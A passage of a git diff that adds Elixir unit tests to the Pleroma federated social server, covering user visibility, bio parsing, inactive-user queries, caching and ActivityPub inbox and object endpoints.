true) + other_user = insert(:user, local: true) + + refute User.visible_for(user, other_user) == :visible + end + + test "returns true when the account is unconfirmed and confirmation is required but the account is remote" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, local: false, confirmation_pending: true) + other_user = insert(:user, local: true) + + assert User.visible_for(user, other_user) == :visible + end + + test "returns true when the account is unconfirmed and confirmation is not required" do + user = insert(:user, local: true, confirmation_pending: true) + other_user = insert(:user, local: true) + + assert User.visible_for(user, other_user) == :visible + end + + test "returns true when the account is unconfirmed and being viewed by a privileged account (confirmation required)" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, local: true, confirmation_pending: true) + other_user = insert(:user, local: true, is_admin: true) + + assert User.visible_for(user, other_user) == :visible + end + end + + describe "parse_bio/2" do + test "preserves hosts in user links text" do + remote_user = insert(:user, local: false, nickname: "nick@domain.com") + user = insert(:user) + bio = "A.k.a. @nick@domain.com" + + expected_text = + ~s(A.k.a. @nick@domain.com) + + assert expected_text == User.parse_bio(bio, user) + end + + test "Adds rel=me on linkbacked urls" do + user = insert(:user, ap_id: "https://social.example.org/users/lain") + + bio = "http://example.com/rel_me/null" + expected_text = "#{bio}" + assert expected_text == User.parse_bio(bio, user) + + bio = "http://example.com/rel_me/link" + expected_text = "#{bio}" + assert expected_text == User.parse_bio(bio, user) + + bio = "http://example.com/rel_me/anchor" + expected_text = "#{bio}" + assert expected_text == User.parse_bio(bio, user) + end + end + + test "follower count is updated when a follower is blocked" do + user = insert(:user) + follower = insert(:user) + follower2 = insert(:user) + follower3 = insert(:user) + + {:ok, follower} = User.follow(follower, user) + {:ok, _follower2} = User.follow(follower2, user) + {:ok, _follower3} = User.follow(follower3, user) + + {:ok, _user_relationship} = User.block(user, follower) + user = refresh_record(user) + + assert user.follower_count == 2 + end + + describe "list_inactive_users_query/1" do + defp days_ago(days) do + NaiveDateTime.add( + NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), + -days * 60 * 60 * 24, + :second + ) + end + + test "Users are inactive by default" do + total = 10 + + users = + Enum.map(1..total, fn _ -> + insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) + end) + + inactive_users_ids = + Pleroma.User.list_inactive_users_query() + |> Pleroma.Repo.all() + |> Enum.map(& &1.id) + + Enum.each(users, fn user -> + assert user.id in inactive_users_ids + end) + end + + test "Only includes users who has no recent activity" do + total = 10 + + users = + Enum.map(1..total, fn _ -> + insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) + end) + + {inactive, active} = Enum.split(users, trunc(total / 2)) + + Enum.map(active, fn user -> + to = Enum.random(users -- [user]) + + {:ok, _} = + CommonAPI.post(user, %{ + status: "hey @#{to.nickname}" + }) + end) + + inactive_users_ids = + Pleroma.User.list_inactive_users_query() + |> Pleroma.Repo.all() + |> Enum.map(& &1.id) + + Enum.each(active, fn user -> + refute user.id in inactive_users_ids + end) + + Enum.each(inactive, fn user -> + assert user.id in inactive_users_ids + end) + end + + test "Only includes users with no read notifications" do + total = 10 + + users = + Enum.map(1..total, fn _ -> + insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) + end) + + [sender | recipients] = users + {inactive, active} = Enum.split(recipients, trunc(total / 2)) + + Enum.each(recipients, fn to -> + {:ok, _} = + CommonAPI.post(sender, %{ + status: "hey @#{to.nickname}" + }) + + {:ok, _} = + CommonAPI.post(sender, %{ + status: "hey again @#{to.nickname}" + }) + end) + + Enum.each(active, fn user -> + [n1, _n2] = Pleroma.Notification.for_user(user) + {:ok, _} = Pleroma.Notification.read_one(user, n1.id) + end) + + inactive_users_ids = + Pleroma.User.list_inactive_users_query() + |> Pleroma.Repo.all() + |> Enum.map(& &1.id) + + Enum.each(active, fn user -> + refute user.id in inactive_users_ids + end) + + Enum.each(inactive, fn user -> + assert user.id in inactive_users_ids + end) + end + end + + describe "toggle_confirmation/1" do + test "if user is confirmed" do + user = insert(:user, confirmation_pending: false) + {:ok, user} = User.toggle_confirmation(user) + + assert user.confirmation_pending + assert user.confirmation_token + end + + test "if user is unconfirmed" do + user = insert(:user, confirmation_pending: true, confirmation_token: "some token") + {:ok, user} = User.toggle_confirmation(user) + + refute user.confirmation_pending + refute user.confirmation_token + end + end + + describe "ensure_keys_present" do + test "it creates keys for a user and stores them in info" do + user = insert(:user) + refute is_binary(user.keys) + {:ok, user} = User.ensure_keys_present(user) + assert is_binary(user.keys) + end + + test "it doesn't create keys if there already are some" do + user = insert(:user, keys: "xxx") + {:ok, user} = User.ensure_keys_present(user) + assert user.keys == "xxx" + end + end + + describe "get_ap_ids_by_nicknames" do + test "it returns a list of AP ids for a given set of nicknames" do + user = insert(:user) + user_two = insert(:user) + + ap_ids = User.get_ap_ids_by_nicknames([user.nickname, user_two.nickname, "nonexistent"]) + assert length(ap_ids) == 2 + assert user.ap_id in ap_ids + assert user_two.ap_id in ap_ids + end + end + + describe "sync followers count" do + setup do + user1 = insert(:user, local: false, ap_id: "http://localhost:4001/users/masto_closed") + user2 = insert(:user, local: false, ap_id: "http://localhost:4001/users/fuser2") + insert(:user, local: true) + insert(:user, local: false, deactivated: true) + {:ok, user1: user1, user2: user2} + end + + test "external_users/1 external active users with limit", %{user1: user1, user2: user2} do + [fdb_user1] = User.external_users(limit: 1) + + assert fdb_user1.ap_id + assert fdb_user1.ap_id == user1.ap_id + assert fdb_user1.id == user1.id + + [fdb_user2] = User.external_users(max_id: fdb_user1.id, limit: 1) + + assert fdb_user2.ap_id + assert fdb_user2.ap_id == user2.ap_id + assert fdb_user2.id == user2.id + + assert User.external_users(max_id: fdb_user2.id, limit: 1) == [] + end + end + + describe "is_internal_user?/1" do + test "non-internal user returns false" do + user = insert(:user) + refute User.is_internal_user?(user) + end + + test "user with no nickname returns true" do + user = insert(:user, %{nickname: nil}) + assert User.is_internal_user?(user) + end + + test "user with internal-prefixed nickname returns true" do + user = insert(:user, %{nickname: "internal.test"}) + assert User.is_internal_user?(user) + end + end + + describe "update_and_set_cache/1" do + test "returns error when user is stale instead Ecto.StaleEntryError" do + user = insert(:user) + + changeset = Ecto.Changeset.change(user, bio: "test") + + Repo.delete(user) + + assert {:error, %Ecto.Changeset{errors: [id: {"is stale", [stale: true]}], valid?: false}} = + User.update_and_set_cache(changeset) + end + + test "performs update cache if user updated" do + user = insert(:user) + assert {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + + changeset = Ecto.Changeset.change(user, bio: "test-bio") + + assert {:ok, %User{bio: "test-bio"} = user} = User.update_and_set_cache(changeset) + assert {:ok, user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + assert %User{bio: "test-bio"} = User.get_cached_by_ap_id(user.ap_id) + end + end + + describe "following/followers synchronization" do + setup do: clear_config([:instance, :external_user_synchronization]) + + test "updates the counters normally on following/getting a follow when disabled" do + Pleroma.Config.put([:instance, :external_user_synchronization], false) + user = insert(:user) + + other_user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following", + ap_enabled: true + ) + + assert other_user.following_count == 0 + assert other_user.follower_count == 0 + + {:ok, user} = Pleroma.User.follow(user, other_user) + other_user = Pleroma.User.get_by_id(other_user.id) + + assert user.following_count == 1 + assert other_user.follower_count == 1 + end + + test "syncronizes the counters with the remote instance for the followed when enabled" do + Pleroma.Config.put([:instance, :external_user_synchronization], false) + + user = insert(:user) + + other_user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following", + ap_enabled: true + ) + + assert other_user.following_count == 0 + assert other_user.follower_count == 0 + + Pleroma.Config.put([:instance, :external_user_synchronization], true) + {:ok, _user} = User.follow(user, other_user) + other_user = User.get_by_id(other_user.id) + + assert other_user.follower_count == 437 + end + + test "syncronizes the counters with the remote instance for the follower when enabled" do + Pleroma.Config.put([:instance, :external_user_synchronization], false) + + user = insert(:user) + + other_user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following", + ap_enabled: true + ) + + assert other_user.following_count == 0 + assert other_user.follower_count == 0 + + Pleroma.Config.put([:instance, :external_user_synchronization], true) + {:ok, other_user} = User.follow(other_user, user) + + assert other_user.following_count == 152 + end + end + + describe "change_email/2" do + setup do + [user: insert(:user)] + end + + test "blank email returns error", %{user: user} do + assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, "") + assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, nil) + end + + test "non unique email returns error", %{user: user} do + %{email: email} = insert(:user) + + assert {:error, %{errors: [email: {"has already been taken", _}]}} = + User.change_email(user, email) + end + + test "invalid email returns error", %{user: user} do + assert {:error, %{errors: [email: {"has invalid format", _}]}} = + User.change_email(user, "cofe") + end + + test "changes email", %{user: user} do + assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party") + end + end + + describe "get_cached_by_nickname_or_id" do + setup do + local_user = insert(:user) + remote_user = insert(:user, nickname: "nickname@example.com", local: false) + + [local_user: local_user, remote_user: remote_user] + end + + setup do: clear_config([:instance, :limit_to_local_content]) + + test "allows getting remote users by id no matter what :limit_to_local_content is set to", %{ + remote_user: remote_user + } do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) + + Pleroma.Config.put([:instance, :limit_to_local_content], true) + assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) + + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) + end + + test "disallows getting remote users by nickname without authentication when :limit_to_local_content is set to :unauthenticated", + %{remote_user: remote_user} do + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname) + end + + test "allows getting remote users by nickname with authentication when :limit_to_local_content is set to :unauthenticated", + %{remote_user: remote_user, local_user: local_user} do + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + assert %User{} = User.get_cached_by_nickname_or_id(remote_user.nickname, for: local_user) + end + + test "disallows getting remote users by nickname when :limit_to_local_content is set to true", + %{remote_user: remote_user} do + Pleroma.Config.put([:instance, :limit_to_local_content], true) + assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname) + end + + test "allows getting local users by nickname no matter what :limit_to_local_content is set to", + %{local_user: local_user} do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) + + Pleroma.Config.put([:instance, :limit_to_local_content], true) + assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) + + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) + end + end + + describe "update_email_notifications/2" do + setup do + user = insert(:user, email_notifications: %{"digest" => true}) + + {:ok, user: user} + end + + test "Notifications are updated", %{user: user} do + true = user.email_notifications["digest"] + assert {:ok, result} = User.update_email_notifications(user, %{"digest" => false}) + assert result.email_notifications["digest"] == false + end + end + + test "avatar fallback" do + user = insert(:user) + assert User.avatar_url(user) =~ "/images/avi.png" + + clear_config([:assets, :default_user_avatar], "avatar.png") + + user = User.get_cached_by_nickname_or_id(user.nickname) + assert User.avatar_url(user) =~ "avatar.png" + + assert User.avatar_url(user, no_default: true) == nil + end +end diff --git a/test/pleroma/web/activity_pub/activity_pub_controller_test.exs b/test/pleroma/web/activity_pub/activity_pub_controller_test.exs new file mode 100644 index 000000000..0517571f2 --- /dev/null +++ b/test/pleroma/web/activity_pub/activity_pub_controller_test.exs @@ -0,0 +1,1550 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.Delivery + alias Pleroma.Instances + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.ObjectView + alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.ActivityPub.UserView + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Endpoint + alias Pleroma.Workers.ReceiverWorker + + import Pleroma.Factory + + require Pleroma.Constants + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :federating], true) + + describe "/relay" do + setup do: clear_config([:instance, :allow_relay]) + + test "with the relay active, it returns the relay user", %{conn: conn} do + res = + conn + |> get(activity_pub_path(conn, :relay)) + |> json_response(200) + + assert res["id"] =~ "/relay" + end + + test "with the relay disabled, it returns 404", %{conn: conn} do + Config.put([:instance, :allow_relay], false) + + conn + |> get(activity_pub_path(conn, :relay)) + |> json_response(404) + end + + test "on non-federating instance, it returns 404", %{conn: conn} do + Config.put([:instance, :federating], false) + user = insert(:user) + + conn + |> assign(:user, user) + |> get(activity_pub_path(conn, :relay)) + |> json_response(404) + end + end + + describe "/internal/fetch" do + test "it returns the internal fetch user", %{conn: conn} do + res = + conn + |> get(activity_pub_path(conn, :internal_fetch)) + |> json_response(200) + + assert res["id"] =~ "/fetch" + end + + test "on non-federating instance, it returns 404", %{conn: conn} do + Config.put([:instance, :federating], false) + user = insert(:user) + + conn + |> assign(:user, user) + |> get(activity_pub_path(conn, :internal_fetch)) + |> json_response(404) + end + end + + describe "/users/:nickname" do + test "it returns a json representation of the user with accept application/json", %{ + conn: conn + } do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/users/#{user.nickname}") + + user = User.get_cached_by_id(user.id) + + assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) + end + + test "it returns a json representation of the user with accept application/activity+json", %{ + conn: conn + } do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}") + + user = User.get_cached_by_id(user.id) + + assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) + end + + test "it returns a json representation of the user with accept application/ld+json", %{ + conn: conn + } do + user = insert(:user) + + conn = + conn + |> put_req_header( + "accept", + "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" + ) + |> get("/users/#{user.nickname}") + + user = User.get_cached_by_id(user.id) + + assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) + end + + test "it returns 404 for remote users", %{ + conn: conn + } do + user = insert(:user, local: false, nickname: "remoteuser@example.com") + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/users/#{user.nickname}.json") + + assert json_response(conn, 404) + end + + test "it returns error when user is not found", %{conn: conn} do + response = + conn + |> put_req_header("accept", "application/json") + |> get("/users/jimm") + |> json_response(404) + + assert response == "Not found" + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + + conn = + put_req_header( + conn, + "accept", + "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" + ) + + ensure_federating_or_authenticated(conn, "/users/#{user.nickname}.json", user) + end + end + + describe "mastodon compatibility routes" do + test "it returns a json representation of the object with accept application/json", %{ + conn: conn + } do + {:ok, object} = + %{ + "type" => "Note", + "content" => "hey", + "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", + "actor" => Endpoint.url() <> "/users/raymoo", + "to" => [Pleroma.Constants.as_public()] + } + |> Object.create() + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/users/raymoo/statuses/999999999") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: object}) + end + + test "it returns a json representation of the activity with accept application/json", %{ + conn: conn + } do + {:ok, object} = + %{ + "type" => "Note", + "content" => "hey", + "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", + "actor" => Endpoint.url() <> "/users/raymoo", + "to" => [Pleroma.Constants.as_public()] + } + |> Object.create() + + {:ok, activity, _} = + %{ + "id" => object.data["id"] <> "/activity", + "type" => "Create", + "object" => object.data["id"], + "actor" => object.data["actor"], + "to" => object.data["to"] + } + |> ActivityPub.persist(local: true) + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/users/raymoo/statuses/999999999/activity") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity}) + end + end + + describe "/objects/:uuid" do + test "it returns a json representation of the object with accept application/json", %{ + conn: conn + } do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/objects/#{uuid}") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) + end + + test "it returns a json representation of the object with accept application/activity+json", + %{conn: conn} do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) + end + + test "it returns a json representation of the object with accept application/ld+json", %{ + conn: conn + } do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header( + "accept", + "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" + ) + |> get("/objects/#{uuid}") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) + end + + test "it returns 404 for non-public messages", %{conn: conn} do + note = insert(:direct_note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn, 404) + end + + test "it returns 404 for tombstone objects", %{conn: conn} do + tombstone = insert(:tombstone) + uuid = String.split(tombstone.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn, 404) + end + + test "it caches a response", %{conn: conn} do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn1 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn1, :ok) + assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) + + conn2 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn1, :ok) == json_response(conn2, :ok) + assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"})) + end + + test "cached purged after object deletion", %{conn: conn} do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn1 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn1, :ok) + assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) + + Object.delete(note) + + conn2 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert "Not found" == json_response(conn2, :not_found) + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = put_req_header(conn, "accept", "application/activity+json") + + ensure_federating_or_authenticated(conn, "/objects/#{uuid}", user) + end + end + + describe "/activities/:uuid" do + test "it returns a json representation of the activity", %{conn: conn} do + activity = insert(:note_activity) + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity}) + end + + test "it returns 404 for non-public activities", %{conn: conn} do + activity = insert(:direct_note_activity) + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn, 404) + end + + test "it caches a response", %{conn: conn} do + activity = insert(:note_activity) + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn1 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn1, :ok) + assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) + + conn2 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn1, :ok) == json_response(conn2, :ok) + assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"})) + end + + test "cached purged after activity deletion", %{conn: conn} do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "cofe"}) + + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn1 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn1, :ok) + assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) + + Activity.delete_all_by_object_ap_id(activity.object.data["id"]) + + conn2 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert "Not found" == json_response(conn2, :not_found) + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + activity = insert(:note_activity) + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn = put_req_header(conn, "accept", "application/activity+json") + + ensure_federating_or_authenticated(conn, "/activities/#{uuid}", user) + end + end + + describe "/inbox" do + test "it inserts an incoming activity into the database", %{conn: conn} do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/inbox", data) + + assert "ok" == json_response(conn, 200) + + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + @tag capture_log: true + test "it inserts an incoming activity into the database" <> + "even if we can't fetch the user but have it in our db", + %{conn: conn} do + user = + insert(:user, + ap_id: "https://mastodon.example.org/users/raymoo", + ap_enabled: true, + local: false, + last_refreshed_at: nil + ) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("actor", user.ap_id) + |> put_in(["object", "attridbutedTo"], user.ap_id) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/inbox", data) + + assert "ok" == json_response(conn, 200) + + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it clears `unreachable` federation status of the sender", %{conn: conn} do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + + sender_url = data["actor"] + Instances.set_consistently_unreachable(sender_url) + refute Instances.reachable?(sender_url) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/inbox", data) + + assert "ok" == json_response(conn, 200) + assert Instances.reachable?(sender_url) + end + + test "accept follow activity", %{conn: conn} do + Pleroma.Config.put([:instance, :federating], true) + relay = Relay.get_actor() + + assert {:ok, %Activity{} = activity} = Relay.follow("https://relay.mastodon.host/actor") + + followed_relay = Pleroma.User.get_by_ap_id("https://relay.mastodon.host/actor") + relay = refresh_record(relay) + + accept = + File.read!("test/fixtures/relay/accept-follow.json") + |> String.replace("{{ap_id}}", relay.ap_id) + |> String.replace("{{activity_id}}", activity.data["id"]) + + assert "ok" == + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/inbox", accept) + |> json_response(200) + + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + + assert Pleroma.FollowingRelationship.following?( + relay, + followed_relay + ) + + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) + assert_receive {:mix_shell, :info, ["https://relay.mastodon.host/actor"]} + end + + @tag capture_log: true + test "without valid signature, " <> + "it only accepts Create activities and requires enabled federation", + %{conn: conn} do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + non_create_data = File.read!("test/fixtures/mastodon-announce.json") |> Poison.decode!() + + conn = put_req_header(conn, "content-type", "application/activity+json") + + Config.put([:instance, :federating], false) + + conn + |> post("/inbox", data) + |> json_response(403) + + conn + |> post("/inbox", non_create_data) + |> json_response(403) + + Config.put([:instance, :federating], true) + + ret_conn = post(conn, "/inbox", data) + assert "ok" == json_response(ret_conn, 200) + + conn + |> post("/inbox", non_create_data) + |> json_response(400) + end + end + + describe "/users/:nickname/inbox" do + setup do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + [data: data] + end + + test "it inserts an incoming activity into the database", %{conn: conn, data: data} do + user = insert(:user) + data = Map.put(data, "bcc", [user.ap_id]) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it accepts messages with to as string instead of array", %{conn: conn, data: data} do + user = insert(:user) + + data = + Map.put(data, "to", user.ap_id) + |> Map.delete("cc") + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it accepts messages with cc as string instead of array", %{conn: conn, data: data} do + user = insert(:user) + + data = + Map.put(data, "cc", user.ap_id) + |> Map.delete("to") + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + %Activity{} = activity = Activity.get_by_ap_id(data["id"]) + assert user.ap_id in activity.recipients + end + + test "it accepts messages with bcc as string instead of array", %{conn: conn, data: data} do + user = insert(:user) + + data = + Map.put(data, "bcc", user.ap_id) + |> Map.delete("to") + |> Map.delete("cc") + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it accepts announces with to as string instead of array", %{conn: conn} do + user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "hey"}) + announcer = insert(:user, local: false) + + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => announcer.ap_id, + "id" => "#{announcer.ap_id}/statuses/19512778738411822/activity", + "object" => post.data["object"], + "to" => "https://www.w3.org/ns/activitystreams#Public", + "cc" => [user.ap_id], + "type" => "Announce" + } + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + %Activity{} = activity = Activity.get_by_ap_id(data["id"]) + assert "https://www.w3.org/ns/activitystreams#Public" in activity.recipients + end + + test "it accepts messages from actors that are followed by the user", %{ + conn: conn, + data: data + } do + recipient = insert(:user) + actor = insert(:user, %{ap_id: "http://mastodon.example.org/users/actor"}) + + {:ok, recipient} = User.follow(recipient, actor) + + object = + data["object"] + |> Map.put("attributedTo", actor.ap_id) + + data = + data + |> Map.put("actor", actor.ap_id) + |> Map.put("object", object) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{recipient.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it rejects reads from other users", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + conn = + conn + |> assign(:user, other_user) + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}/inbox") + + assert json_response(conn, 403) + end + + test "it returns a note activity in a collection", %{conn: conn} do + note_activity = insert(:direct_note_activity) + note_object = Object.normalize(note_activity) + user = User.get_cached_by_ap_id(hd(note_activity.data["to"])) + + conn = + conn + |> assign(:user, user) + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}/inbox?page=true") + + assert response(conn, 200) =~ note_object.data["content"] + end + + test "it clears `unreachable` federation status of the sender", %{conn: conn, data: data} do + user = insert(:user) + data = Map.put(data, "bcc", [user.ap_id]) + + sender_host = URI.parse(data["actor"]).host + Instances.set_consistently_unreachable(sender_host) + refute Instances.reachable?(sender_host) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + assert Instances.reachable?(sender_host) + end + + test "it removes all follower collections but actor's", %{conn: conn} do + [actor, recipient] = insert_pair(:user) + + data = + File.read!("test/fixtures/activitypub-client-post-activity.json") + |> Poison.decode!() + + object = Map.put(data["object"], "attributedTo", actor.ap_id) + + data = + data + |> Map.put("id", Utils.generate_object_id()) + |> Map.put("actor", actor.ap_id) + |> Map.put("object", object) + |> Map.put("cc", [ + recipient.follower_address, + actor.follower_address + ]) + |> Map.put("to", [ + recipient.ap_id, + recipient.follower_address, + "https://www.w3.org/ns/activitystreams#Public" + ]) + + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{recipient.nickname}/inbox", data) + |> json_response(200) + + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + + activity = Activity.get_by_ap_id(data["id"]) + + assert activity.id + assert actor.follower_address in activity.recipients + assert actor.follower_address in activity.data["cc"] + + refute recipient.follower_address in activity.recipients + refute recipient.follower_address in 